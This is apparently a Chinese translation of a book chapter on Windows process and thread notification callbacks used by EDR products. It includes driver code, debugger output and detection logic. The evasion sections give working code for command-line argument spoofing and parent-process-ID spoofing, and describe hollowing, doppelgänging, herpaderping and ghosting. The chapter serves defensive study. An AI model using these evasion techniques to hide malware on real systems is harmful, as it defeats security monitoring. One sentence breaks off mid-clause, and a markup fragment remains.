回调例程可以在系统上创建或终止进程时通知驱动程序。这些通知作为进程创建或终止的一个重要组成部分发生。你可以在清单 3-1 中看到这一点,该清单展示了创建cmd.exe、notepad.exe等子进程的调用堆栈,导致了已注册回调例程的通知。
要获得这个调用堆栈,可以使用 WinDbg 在nt!PspCallProcessNotifyRoutines()上设置断点(bp),这是内核函数,用于通知注册的驱动程序进程创建事件。当断点被触发时,k命令会返回发生断点的进程的调用堆栈。
2: kd> **bp nt!PspCallProcessNotifyRoutines**
2: kd> **g**
Breakpoint 0 hit
nt!PspCallProcessNotifyRoutines: fffff803`4940283c 48895c2410 mov qword ptr [rsp+10h],rbx
1: kd> **k**
# Child-SP RetAddr Call Site
00 ffffee8e`a7005cf8 fffff803`494ae9c2 nt!PspCallProcessNotifyRoutines
01 ffffee8e`a7005d00 fffff803`4941577d nt!PspInsertThread+0x68e
02 ffffee8e`a7005dc0 fffff803`49208cb5 nt!NtCreateUserProcess+0xddd
03 ffffee8e`a7006a90 00007ffc`74b4e664 nt!KiSystemServiceCopyEnd+0x25
04 000000d7`6215dcf8 00007ffc`72478e73 ntdll!NtCreateUserProcess+0x14
05 000000d7`6215dd00 00007ffc`724771a6 KERNELBASE!CreateProcessInternalW+0xfe3
06 000000d7`6215f2d0 00007ffc`747acbb4 KERNELBASE!CreateProcessW+0x66
07 000000d7`6215f340 00007ff6`f4184486 KERNEL32!CreateProcessWStub+0x54
08 000000d7`6215f3a0 00007ff6`f4185b7f cmd!ExecPgm+0x262
09 000000d7`6215f5e0 00007ff6`f417c9bd cmd!ECWork+0xa7
0a 000000d7`6215f840 00007ff6`f417bea1 cmd!FindFixAndRun+0x39d
0b 000000d7`6215fce0 00007ff6`f418ebf0 cmd!Dispatch+0xa1
0c 000000d7`6215fd70 00007ff6`f4188ecd cmd!main+0xb418
0d 000000d7`6215fe10 00007ffc`747a7034 cmd!__mainCRTStartup+0x14d
0e 000000d7`6215fe50 00007ffc`74b02651 KERNEL32!BaseThreadInitThunk+0x14
0f 000000d7`6215fe80 00000000`00000000 ntdll!RtlUserThreadStart+0x21
清单 3-1:进程创建调用堆栈
每当用户想要运行一个可执行文件时,cmd.exe会调用cmd!ExecPgm()函数。在这个调用堆栈中,我们可以看到这个函数调用了用于创建新进程的存根(在输出行 07)。这个存根最终会调用ntdll!NtCreateUserProcess()的系统调用,控制权转交给内核(在 04 位置)。
现在注意,在内核内部,另一个函数被执行(在 00 位置)。这个函数负责通知每个已注册的回调,进程正在被创建。
注册进程回调例程
为了注册进程回调例程,EDR 使用以下两个函数之一:nt!PsSetCreateProcessNotifyRoutineEx()或nt!PsSetCreateProcessNotifyRoutineEx2()。后者可以提供有关非 Win32 子系统进程的通知。这些函数接受一个指向回调函数的指针,回调函数将在每次创建或终止新进程时执行。 清单 3-2 展示了如何注册回调函数。
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
NTSTATUS status = STATUS_SUCCESS;
`--snip--`
status = ❶ PsSetCreateProcessNotifyRoutineEx2(
PsCreateProcessNotifySubsystems,
(PVOID)ProcessNotifyCallbackRoutine,
FALSE
);
`--snip--`
} ❷ void ProcessNotifyCallbackRoutine(
PEPROCESS pProcess,
HANDLE hPid,
PPS_CREATE_NOTIFY_INFO pInfo)
{
if (pInfo)
{
`--snip--`
}
}
清单 3-2:注册进程创建回调例程
这段代码注册回调例程❶并将三个参数传递给注册函数。第一个参数PsCreateProcessNotifySubsystems指示正在注册的进程通知类型。在本文写作时,“子系统”是微软文档中唯一提到的类型。这个值告诉系统,回调例程应在所有子系统中创建的进程时被调用,包括 Win32 和 Windows 子系统 Linux(WSL)。
下一个参数定义了回调例程的入口点,该例程将在进程创建时执行。在我们的示例中,代码指向内部的ProcessNotifyCallbackRoutine()函数。当进程创建发生时,回调函数将接收有关该事件的信息,我们稍后将讨论这一点。
第三个参数是一个布尔值,表示是否应该移除回调例程。由于我们在这个示例中注册了回调例程,因此该值为FALSE。当我们卸载驱动程序时,我们将其设置为TRUE,以从系统中移除回调。注册回调例程后,我们定义回调函数本身❷。
查看系统上注册的回调例程
你可以使用 WinDbg 查看系统上进程回调例程的列表。当注册一个新的回调例程时,一个指向该例程的指针会被添加到一个EX_FAST_REF结构体数组中,这些结构体是 16 字节对齐的指针,存储在位于nt!PspCreateProcessNotifyRoutine的位置,如清单 3-3 所示。
1: kd> **dq nt!PspCreateProcessNotifyRoutine**
fffff803`49aec4e0 ffff9b8f`91c5063f ffff9b8f`91df6c0f
fffff803`49aec4f0 ffff9b8f`9336fcff ffff9b8f`9336fedf
fffff803`49aec500 ffff9b8f`9349b3ff ffff9b8f`9353a49f
fffff803`49aec510 ffff9b8f`9353acdf ffff9b8f`9353a9af
fffff803`49aec520 ffff9b8f`980781cf 00000000`00000000
fffff803`49aec530 00000000`00000000 00000000`00000000
fffff803`49aec540 00000000`00000000 00000000`00000000
fffff803`49aec550 00000000`00000000 00000000`00000000
清单 3-3:一个包含进程创建回调例程地址的EX_FAST_REF结构体数组
清单 3-4 展示了遍历这个EX_FAST_REF结构体数组的方法,以枚举实现进程通知回调的驱动程序。
1: kd> **dx ((void**[0x40])&nt!PspCreateProcessNotifyRoutine)**
**.Where(a => a != 0)**
**.Select(a => @$getsym(@$getCallbackRoutine(a).Function))**
[0] : nt!ViCreateProcessCallback (fffff803`4915a2a0)
[1] : cng!CngCreateProcessNotifyRoutine (fffff803`4a4e6dd0)
[2] : WdFilter+0x45e00 (fffff803`4ade5e00)
[3] : ksecdd!KsecCreateProcessNotifyRoutine (fffff803`4a33ba40)
[4] : tcpip!CreateProcessNotifyRoutineEx (fffff803`4b3f1f90)
[5] : iorate!IoRateProcessCreateNotify (fffff803`4b95d930)
[6] : CI!I_PEProcessNotify (fffff803`4a46a270)
[7] : dxgkrnl!DxgkProcessNotify (fffff803`4c116610)
[8] : peauth+0x43ce0 (fffff803`4d873ce0)
清单 3-4:枚举已注册的进程创建回调
在这里,我们可以看到一些在默认系统上注册的例程。请注意,其中一些回调并不执行安全功能。例如,以 tcpip 开头的回调用于 TCP/IP 驱动程序。然而,我们确实看到 Microsoft Defender 注册了一个回调:WdFilter+0x45e00。(Microsoft 没有发布 WdFilter.sys 驱动程序的完整符号。)使用这种技术,我们可以在不需要逆向工程 Microsoft 驱动程序的情况下找到 EDR 的回调例程。
收集进程创建信息
一旦 EDR 注册了其回调例程,它如何访问信息呢?当新进程被创建时,一个指向 PS_CREATE_NOTIFY_INFO 结构的指针会传递给回调。你可以在列表 3-5 中看到该结构的定义。
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
列表 3-5:PS_CREATE_NOTIFY_INFO 结构的定义
该结构包含大量有关系统中进程创建事件的有价值数据。这些数据包括:
ParentProcessId 新创建进程的父进程。这不一定是创建新进程的进程。
CreatingThreadId 指向负责创建新进程的唯一线程和进程的句柄。
FileObject 指向进程可执行文件对象的指针(磁盘上的镜像)。
ImageFileName 指向包含新创建进程可执行文件路径的字符串的指针。
CommandLine 传递给创建进程的命令行参数。
FileOpenNameAvailable 一个值,指示 ImageFileName 成员是否与打开新进程可执行文件时使用的文件名匹配。
EDR 通常通过与此通知返回的遥测数据进行交互的方式之一是通过 Sysmon 的事件 ID 1,显示进程创建事件,如图 3-1 所示。

图 3-1:显示进程创建的 Sysmon 事件 ID 1
在这个事件中,我们可以看到从 PS_CREATE _NOTIFY_INFO 结构体传递给 Sysmon 回调例程的一些信息。例如,事件中的 Image、CommandLine 和 ParentProcessId 属性,分别对应结构体中的 ImageFileName、CommandLine 和 ParentProcessId 成员。
你可能会想,为什么这个事件中的属性比回调函数接收到的结构体中要多得多。驱动程序通过调查生成事件的线程上下文,并扩展结构体的成员,来收集这些额外的信息。例如,如果我们知道进程父进程的 ID,就可以轻松找到父进程的图像路径,从而填充 ParentImage 属性。
通过利用从此事件及其相关结构体中收集的数据,EDR 还可以创建进程属性和关系的内部映射,以便检测可疑活动,例如 Microsoft Word 启动 powershell.exe 子进程。此数据还可以为代理提供有用的上下文,以确定其他活动是否具有恶意性质。例如,代理可以将进程的命令行参数输入到机器学习模型中,以确定该命令在环境中的调用是否异常。
线程通知
线程创建通知的价值稍逊于进程创建事件。它们的工作原理相似,发生在创建过程中,但接收到的信息较少。尽管线程创建发生得更为频繁,这一点依然成立;毕竟几乎每个进程都支持多线程,这意味着每个进程创建时都会有多个线程创建通知。
尽管线程创建回调传递给回调的数据显示得更少,但它们为 EDR 提供了另一个数据点,用于构建检测模型。让我们进一步探讨一下这些数据。
注册线程回调例程
当线程被创建或终止时,回调例程会接收到三条数据:线程所属进程的 ID、唯一的线程 ID,以及一个布尔值,表示线程是否正在创建。列表 3-6 显示了驱动程序如何为线程创建事件注册回调例程。
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
NTSTATUS status = STATUS_SUCCESS;
`--snip--`
❶ status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallbackRoutine);
`--snip--`
}
void ThreadNotifyCallbackRoutine(
HANDLE hProcess,
HANDLE hThread,
BOOLEAN bCreate)
{
❷ if (bCreate)
{
`--snip--`
}
}
列表 3-6:注册线程创建通知例程
与进程创建类似,EDR 可以通过其驱动程序接收有关线程创建或终止的通知,方法是通过 nt!PsSetCreateThreadNotifyRoutine() 或扩展版的 nt!PsSetCreateThreadNotifyRoutineEx() 注册线程通知回调例程,后者可以定义通知类型。
这个示例驱动程序首先注册回调例程 ❶,传入指向内部回调函数的指针,该函数接收与处理回调例程相同的三项数据。如果表示线程是否正在创建或终止的布尔值为 TRUE,则驱动程序会执行开发者定义的一些操作 ❷。否则,回调函数将忽略线程事件,因为线程终止事件(即线程完成执行并返回时发生的事件)通常对安全监控的价值较低。
检测远程线程创建
尽管线程创建通知提供的信息少于进程创建回调,但它们为 EDR 提供了其他回调无法检测到的数据:远程线程创建。远程线程创建发生在一个进程在另一个进程内创建线程时。这种技术是许多攻击者技巧的核心,通常依赖于更改执行上下文(例如,从用户 1 切换到用户 2)。列表 3-7 展示了 EDR 如何通过其线程创建回调例程检测此行为。
void ThreadNotifyCallbackRoutine(
HANDLE hProcess,
HANDLE hThread,
BOOLEAN bCreate)
{
if (bCreate)
{
❶ if (PsGetCurrentProcessId() != hProcess)
{
`--snip--`
}
}
}
列表 3-7:检测远程线程创建
因为通知是在创建线程的进程上下文中执行的,所以开发人员可以简单地检查当前的进程 ID 是否与传递给回调例程的 ID 相匹配 ❶。如果不匹配,则说明线程正在远程创建,需要进一步调查。就这样:一个巨大的能力,只需一两行代码就能实现。没有比这更简单的了。你可以通过 Sysmon 的事件 ID 8 实际看到此功能的实现,如图 3-2 所示。注意,SourceProcessId 和 TargetProcessId 的值不同。

图 3-2:Sysmon 事件 ID 8 检测远程线程创建
当然,远程线程创建也会在一些合法情况下发生。一个例子是子进程创建。当一个进程被创建时,第一个线程在父进程的上下文中执行。为了解决这个问题,许多 EDR 会简单地忽略与进程关联的第一个线程。
某些操作系统内部组件也会执行合法的远程线程创建。一个例子是 Windows 错误报告(werfault.exe)。当系统发生错误时,操作系统会生成werfault.exe作为svchost.exe(特别是WerSvc服务)的子进程,然后将其注入故障进程。
因此,线程是远程创建的这一事实并不自动意味着它是恶意的。要确定这一点,EDR 需要收集补充信息,如 Sysmon 事件 ID 8 所示。
规避进程和线程创建回调
进程和线程通知是所有回调类型中最常见的检测方式。这部分归因于它们提供的信息对于大多数面向进程的检测策略至关重要,并且几乎被所有商业化的 EDR 产品所使用。它们通常也是最容易理解的。这并不意味着它们也很容易被规避。然而,我们有很多方法可以增加在某些环节成功避开的机会。
命令行篡改
进程创建事件中最常见的监控属性之一是启动进程时使用的命令行参数。某些检测策略甚至完全依赖于与已知攻击工具或恶意软件相关的特定命令行参数。
EDR 可以在传递给进程创建回调例程的结构体中的CommandLine成员中找到参数。当创建进程时,其命令行参数会存储在其进程环境块(PEB)的ProcessParameters字段中。该字段包含指向RTL_USER_PROCESS_PARAMETERS结构体的指针,其中包含其他信息,包括在调用时传递给进程的UNICODE_STRING参数。清单 3-8 展示了我们如何使用 WinDbg 手动获取进程的命令行参数。
0:000> **?? @$peb->ProcessParameters->CommandLine.Buffer**
wchar_t * 0x000001be`2f78290a
"C:\Windows\System32\rundll32.exe ieadvpack.dll,RegisterOCX payload.exe"
清单 3-8:使用 WinDbg 从 PEB 中提取参数
在这个示例中,我们通过直接访问UNICODE_STRING的缓冲区成员,提取当前进程的 PEB 中的参数,这个缓冲区成员构成了ProcessParameters字段中的< samp class="SANS_TheSansMonoCd_W5Regular_11">CommandLine成员。
然而,由于 PEB 位于进程的用户模式内存空间中,而非内核中,进程可以更改其自身 PEB 的属性。Adam Chester 的《如何像 Cobalt Strike 一样辩论》博客文章详细介绍了如何修改进程的命令行参数。在我们介绍这一技术之前,你应该了解当一个普通程序创建子进程时的表现。列表 3-9 中包含了这一行为的一个简单示例。
void main()
{
STARTUPINFOW si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessW(
L"C:\\Windows\\System32\\cmd.exe",
**L"These are my sensitive arguments",**
NULL, NULL, FALSE, 0,
NULL, NULL, &si, &pi))
{
WaitForSingleObject(pi.hProcess, INFINITE);
}
return;
}
列表 3-9:典型的子进程创建
这个基本实现生成了一个带有参数“这些是我的敏感参数”的 cmd.exe 子进程。当该进程执行时,任何标准的进程监控工具都应能通过读取 PEB 中的内容看到该子进程及其未修改的参数。例如,在 图 3-3 中,我们使用名为 Process Hacker 的工具来提取命令行参数。

图 3-3:从 PEB 中获取的命令行参数
正如预期的那样,cmd.exe 被创建并传递给它五个参数的字符串。让我们记住这个例子;它将作为我们开始尝试隐藏恶意软件时的无害基准。
Chester 的博客文章描述了修改用于调用进程的命令行参数的以下过程。首先,使用恶意参数以挂起状态创建子进程。接着,使用 ntdll!NtQueryInformationProcess() 获取子进程 PEB 的地址,并通过调用 kernel32!ReadProcessMemory() 复制该地址。然后,获取其 ProcessParameters 字段,并用伪造的参数覆盖由 ProcessParameters 指向的 CommandLine 成员所表示的 UNICODE_STRING。最后,恢复子进程的执行。
让我们用参数字符串“伪造的参数传递替代原始参数”来覆盖 列表 3-9 中的原始参数。列表 3-10 展示了这一行为,更新部分以粗体显示。
void main()
{
`--snip--`
if (CreateProcessW(
L"C:\\Windows\\System32\\cmd.exe",
L"These are my sensitive arguments",
NULL, NULL, FALSE,
**CREATE_SUSPENDED,**
NULL, NULL, &si, &pi))
{
`--snip--`
**LPCWSTR szNewArguments = L"Spoofed arguments passed instead";**
SIZE_T ulArgumentLength = wcslen(szNewArguments) * sizeof(WCHAR);
if (**WriteProcessMemory(**
**pi.hProcess,**
**pParameters.CommandLine.Buffer,**
**(PVOID)szNewArguments,**
**ulArgumentLength,**
**&ulSize)**) {
**ResumeThread(pi.hThread);**
}
}
`--snip--`
}
列表 3-10:覆盖命令行参数
当我们创建进程时,我们向函数传递了CREATE_SUSPENDED标志以便在挂起状态下启动它。接下来,我们需要获取进程参数在 PEB 中的地址。为了简洁起见,我们省略了清单 3-10 中的这段代码,但做法是使用ntdll!NtQueryInformationProcess(),并传递ProcessBasicInformation信息类。这应该会返回一个包含PebBaseAddress成员的PROCESS_BASIC_INFORMATION结构体。
然后,我们可以将子进程的 PEB 读取到我们本地分配的缓冲区中。使用这个缓冲区,我们提取参数并传入 PEB 的地址。接着,我们使用ProcessParameters将其复制到另一个本地缓冲区中。在我们的代码中,这个最终的缓冲区叫做pParameters,并将其强制转换为指向RTL_USER_PROCESS_PARAMETERS结构体的指针。我们通过调用kernel32!WriteProcessMemory()用一个新字符串覆盖现有参数。如果一切顺利完成没有错误,我们调用kernel32!ResumeThread(),让我们的挂起子进程完成初始化并开始执行。
现在,Process Hacker 显示了伪造的参数值,正如你在图 3-4 中看到的那样。

图 3-4:命令行参数被伪造的值覆盖
尽管这种技术仍然是基于可疑命令行参数避开检测的有效方式之一,但它也有一些局限性。其中一个局限是,进程不能更改自己的命令行参数。这意味着,如果我们不能控制父进程,比如在初始访问负载的情况下,进程必须使用原始参数执行。此外,用于覆盖 PEB 中可疑参数的值必须比原始值长。如果它较短,覆盖将不完整,可疑参数的部分内容将保留。图 3-5 展示了这一局限的实际情况。

图 3-5:命令行参数部分被覆盖
在这里,我们将参数缩短为“伪造的参数”值。如你所见,它只替换了原始参数的一部分。反之亦然:如果伪造值的长度大于原始参数的长度,伪造的参数将被截断。
父进程 ID 伪造
几乎每个 EDR 都有某种方式来关联系统上的父子进程。这使得代理能够识别可疑的进程关系,例如 Microsoft Word 生成rundll32.exe,这可能表明攻击者的初次访问或成功利用了某项服务。
因此,为了隐藏主机上的恶意行为,攻击者通常希望伪造当前进程的父进程。如果我们能够欺骗 EDR,使其认为我们的恶意进程创建实际上是正常的,那么我们被检测到的可能性将大大降低。实现这一点的最常见方法是修改子进程和线程的属性列表,这一技术是由 Didier Stevens 在 2009 年推广的。这种规避依赖于 Windows 上的一个事实,即子进程继承了来自父进程的某些属性,比如当前工作目录和环境变量。父进程和子进程之间没有依赖关系;因此,我们可以在某种程度上任意指定父进程,正如本节将要讨论的那样。
为了更好地理解这一策略,我们需要深入了解 Windows 上的进程创建。用于此目的的主要 API 是名副其实的kernel32!CreateProcess() API。此函数在清单 3-11 中定义。
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
清单 3-11:kernel32!CreateProcess() API 定义
传递给此函数的第九个参数是指向STARTUPINFO或STARTUPINFOEX结构的指针。STARTUPINFOEX结构在清单 3-12 中定义,通过添加指向PROC_THREAD_ATTRIBUTE_LIST结构的指针,扩展了基本的启动信息结构。
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
清单 3-12:STARTUPINFOEX结构定义
在创建进程时,我们可以调用kernel32!InitializeProcThreadAttributeList()来初始化属性列表,然后调用kernel32!UpdateProcThreadAttribute()来修改它。这使我们能够设置要创建的进程的自定义属性。在伪造父进程时,我们关注的是PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性,该属性指示正在传递目标父进程的句柄。为了获得这个句柄,我们必须通过打开一个新进程或利用现有的进程来获取目标进程的句柄。
列表 3-13 展示了一个进程伪装的示例,将这些内容结合在一起。我们将修改记事本工具的属性,使 VMware Tools 看起来像是它的父进程。
Void SpoofParent() {
PCHAR szChildProcess = **"notepad"**;
DWORD dwParentProcessId = ❶ 7648;
HANDLE hParentProcess = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T ulSize;
memset(&si, 0, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
❷ hParentProcess = OpenProcess(
PROCESS_CREATE_PROCESS,
FALSE,
dwParentProcessId);
❸ InitializeProcThreadAttributeList(NULL, 1, 0, &ulSize);
si.lpAttributeList =
❹ (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0, ulSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &ulSize);
❺ UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess,
sizeof(HANDLE),
NULL, NULL);
CreateProcessA(NULL,
szChildProcess,
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
&si.StartupInfo, &pi);
CloseHandle(hParentProcess);
DeleteProcThreadAttributeList(si.lpAttributeList);
}
列表 3-13:伪装父进程的示例
我们首先将vmtoolsd.exe的进程 ID ❶硬编码为我们想要的父进程。在实际应用中,我们可能会使用逻辑来查找我们想要伪装的父进程的 ID,但为了简洁起见,我没有在这个示例中包含这部分代码。接下来,SpoofParent() 函数调用了 kernel32!OpenProcess() ❷。这个函数负责以开发者请求的访问权限打开一个已存在进程的新句柄。在大多数攻击性工具中,你可能习惯看到这个函数使用诸如 PROCESS_VM_READ 这样的参数来读取进程的内存,或者使用 PROCESS_ALL_ACCESS,这会让我们对进程拥有完全控制。然而,在这个示例中,我们请求的是 PROCESS_CREATE_PROCESS。我们需要这个访问权限,以便使用目标进程作为父进程,并与我们的外部启动信息结构一起使用。当函数执行完毕后,我们将拥有一个具有适当权限的 vmtoolsd.exe 句柄。
接下来,我们需要做的是创建并填充 PROC_THREAD _ATTRIBUTE_LIST 结构体。为此,我们使用一个常见的 Windows 编程技巧来获取结构体的大小并分配相应的内存。我们调用函数初始化属性列表 ❸,传入一个空指针,而不是传入实际属性列表的地址。然而,我们仍然会传入一个指向 DWORD 类型的指针,用来存储完成后所需的大小。然后,我们使用这个变量中存储的大小,利用 kernel32!HeapAlloc() ❹ 在堆上分配内存。现在,我们可以再次调用属性列表初始化函数,传入刚刚创建的堆分配内存的指针。
到目前为止,我们准备开始进行伪造。我们通过首先调用修改属性列表的函数,传递属性列表本身、指示父进程句柄的标志以及我们为vmtoolsd.exe打开的句柄❺来实现这一点。这将vmtoolsd.exe设置为我们使用此属性列表创建的任何进程的父进程。我们需要做的最后一件事是将属性列表作为输入传递给进程创建函数,指定要创建的子进程以及EXTENDED_STARTUPINFO_PRESENT标志。当这个函数被执行时,notepad.exe将出现在 Process Hacker 中作为vmtoolsd.exe的子进程,而不是其真实父进程ppid-spoof.exe的子进程(图 3-6)。

图 3-6:Process Hacker 中的伪造父进程
不幸的是,对于攻击者来说,这种规避技术有几种方法可以相对简单地检测到。首先是通过使用驱动程序。记住,在进程创建事件中传递给驱动程序的结构包含两个与父进程相关的独立字段:ParentProcessId和CreatingThreadId。虽然在大多数正常情况下,这两个字段会指向相同的进程,但当新进程的父进程 ID(PPID)被伪造时,CreatingThreadId.UniqueProcess字段将包含调用进程创建函数的进程的 PID。列表 3-14 显示了通过 DbgView 捕获的模拟 EDR 驱动程序的输出,DbgView 是一个用于捕获调试打印消息的工具。
12.67045498 Process Name: notepad.exe
12.67045593 Process ID: 7892
12.67045593 Parent Process Name: vmtoolsd.exe
12.67045593 Parent Process ID: 7028
12.67045689 Creator Process Name: ppid-spoof.exe
12.67045784 Creator Process ID: 7708
列表 3-14:从驱动程序捕获父进程和创建者进程信息
你可以在这里看到,伪造的vmtoolsd.exe作为父进程出现,但创建者(真正启动notepad.exe的进程)被识别为ppid-spoof.exe。
另一种检测 PPID 伪造的方法是使用 ETW(我们将在第八章中进一步探讨)。F-Secure 在其“检测父 PID 伪造”博客文章中详细记录了这一技术。这种检测策略依赖于 ETW 事件头中指定的进程 ID 是进程的创建者,而不是事件数据中指定的父进程。因此,在我们的例子中,防御者可以使用 ETW 跟踪捕获每当notepad.exe被启动时的进程创建事件。图 3-7 显示了生成的事件数据。

图 3-7:ETW 事件数据中的伪造父进程
在图 3-7 中高亮显示的是vmtoolsd.exe的进程 ID,即伪造的父进程。如果你将其与图 3-8 中显示的事件头进行比较,就能看到不一致之处。

图 3-8:在 ETW 事件头中捕获的创建者进程 ID
请注意两个进程 ID 之间的差异。虽然事件数据中包含的是vmtoolsd.exe的 ID,但头部包含的是ppid-spoof.exe的 ID,即真正的创建者。
来自该 ETW 提供程序的信息并不像清单 3-14 中由模拟 EDR 驱动程序提供的信息那样详细。例如,我们缺少父进程和创建者进程的映像名称。这是因为 ETW 提供程序没有为我们提取这些信息,就像驱动程序所做的那样。在实际情况中,我们可能需要添加一个步骤来检索这些信息,可以通过查询进程或从其他数据源中提取。无论如何,我们仍然可以使用这种技术来检测 PPID 欺骗,因为我们拥有策略所需的核心信息:不匹配的父进程和创建者进程 ID。
进程映像修改
在许多情况下,恶意软件希望避开基于映像的检测,或者避开基于用于创建进程的文件名的检测。虽然有许多方法可以实现这一点,但一种策略——我们称之为进程映像修改——自 2017 年以来获得了广泛关注,尽管至少从 2014 年起,就有一些活跃的威胁组织使用了这一手段。除了隐藏恶意软件或工具的执行外,这一策略还可能帮助攻击者绕过应用程序白名单、规避每应用程序的主机防火墙规则,或在服务器允许敏感操作发生之前通过安全检查。
本节涵盖四种进程映像修改技术,即 hollowing、doppelgänging、herpaderping 和 ghosting,所有这些技术都通过大致相同的方式实现其目标:通过将宿主进程的原始映像重新映射为自己的映像。这些技术还都依赖于微软在实现通知已注册回调的进程创建逻辑时做出的相同设计决策。
设计决策如下:Windows 上的进程创建涉及一系列复杂的步骤,其中许多步骤发生在内核通知任何驱动程序之前。因此,攻击者有机会在这些早期步骤中以某种方式修改进程的属性。以下是整个进程创建工作流程,其中通知步骤以粗体显示:
1. 验证传递给进程创建 API 的参数。
2. 打开目标映像的句柄。
3. 从目标映像创建一个节对象。
4. 创建并初始化进程对象。
5. 分配 PEB。
6. 创建并初始化线程对象。
7. 将进程创建通知发送到已注册的回调。
8. 执行特定于 Windows 子系统的操作以完成初始化。
9. 启动主线程的执行。
10. 完成进程初始化。
11. 从镜像入口点开始执行。
12. 返回进程创建 API 的调用者。
本节中概述的技术利用了第 3 步,其中内核从进程镜像创建节区对象。一旦创建,内存管理器会缓存该镜像节区,这意味着节区可能与相应的目标镜像有所偏差。因此,当驱动程序从内核进程管理器接收到通知时,它处理的 PS_CREATE_NOTIFY_INFO 结构的 FileObject 成员可能并不指向正在执行的文件。除了利用这一事实外,接下来的每种技术还有细微的变化。
Hollowing
Hollowing 是利用节区修改的最古老方法之一,至少可以追溯到 2011 年。图 3-9 展示了这种技术的执行流程。

图 3-9:进程 hollowing 的执行流程
使用此技术,攻击者创建一个处于挂起状态的进程,然后在定位其基址(PEB 中)后取消映射该镜像。一旦取消映射完成,攻击者将一个新的镜像(例如敌方的 shellcode 执行器)映射到该进程,并对其节区进行对齐。如果成功,进程将恢复执行。
Doppelgänging
在 2017 年黑帽欧洲大会的演讲《Lost in Transaction: Process Doppelgänging》中,Tal Liberman 和 Eugene Kogan 介绍了一种新的进程镜像修改变种。他们的技术,进程 Doppelgänging,依赖于两个 Windows 特性:事务性 NTFS(TxF)和遗留的进程创建 API,ntdll!NtCreateProcessEx()。
TxF 是一种现已弃用的通过将文件系统操作作为单一原子操作来执行的方式。它允许代码轻松地回滚文件更改,例如在更新或发生错误时,并且有一组支持它的 API。
遗留的进程创建 API 在 Windows 10 发布之前用于进程创建,Windows 10 引入了更强大的ntdll!NtCreateUserProcess()。虽然它在正常的进程创建中已经被弃用,但在 Windows 10 的版本(直到 20H2)中,仍然可以用来创建最小化进程。它的一个显著优点是,进程镜像使用节句柄而非文件,但也带来了一些重要挑战。这些困难源于,许多进程创建步骤(例如将进程参数写入新进程的地址空间和创建主线程对象)并没有在幕后自动处理。为了使用遗留的进程创建函数,开发者必须在自己的代码中重新创建这些缺失的步骤,确保进程能够启动。
图 3-10 展示了进程复制的复杂流程。

图 3-10:进程复制执行流程
在他们的概念验证中,Liberman 和 Kogan 首先创建一个事务对象,并使用kernel32!CreateFileTransacted()打开目标文件。然后,他们用恶意代码覆盖该事务文件,创建一个指向恶意代码的镜像节,并通过kernel32!RollbackTransaction()回滚事务。此时,可执行文件已恢复到原始状态,但镜像节被缓存了恶意代码。从这里,作者调用ntdll!NtCreateProcessEx(),将节句柄作为参数传入,创建一个指向恶意代码入口点的主线程。创建这些对象后,他们恢复主线程,允许被复制的进程执行。
Herpaderping
进程 herpaderping,由 Johnny Shaw 在 2020 年发明,利用了许多与进程复制相同的技巧,特别是通过使用遗留的进程创建 API 从节对象创建进程。虽然 herpaderping 可以避开驱动程序的基于镜像的检测,但其主要目的是避开被丢弃的可执行文件内容的检测。图 3-11 展示了这一技术如何工作。

图 3-11:进程 herpaderping 执行流程
要执行 herpaderping,攻击者首先将恶意代码写入磁盘,并创建区域对象,保持掉落的可执行文件的句柄打开。然后,他们调用传统的进程创建 API,将区域句柄作为参数,以创建进程对象。在初始化进程之前,他们通过打开的文件句柄和kernel32!WriteFile()或类似的 API 来隐藏最初写入磁盘的可执行文件。最后,他们创建主线程对象并执行剩余的进程启动任务。
此时,驱动程序的回调收到通知,可以使用在进程创建时传递给驱动程序的结构中的
幽灵化
进程映像修改的最新变体之一是进程幽灵化,由 Gabriel Landau 于 2021 年 6 月发布。进程幽灵化依赖于 Windows 仅在文件映像映射到图像区域后才防止文件删除,并且在删除过程中不会检查关联的区域是否实际存在。如果用户尝试打开映射的可执行文件进行修改或删除,Windows 会返回一个错误。如果开发者将文件标记为删除,然后从可执行文件创建图像区域,那么在文件句柄关闭时,文件将被删除,但区域对象将保持存在。该技术的执行流程如图 3-12 所示。

图 3-12:进程幽灵化工作流
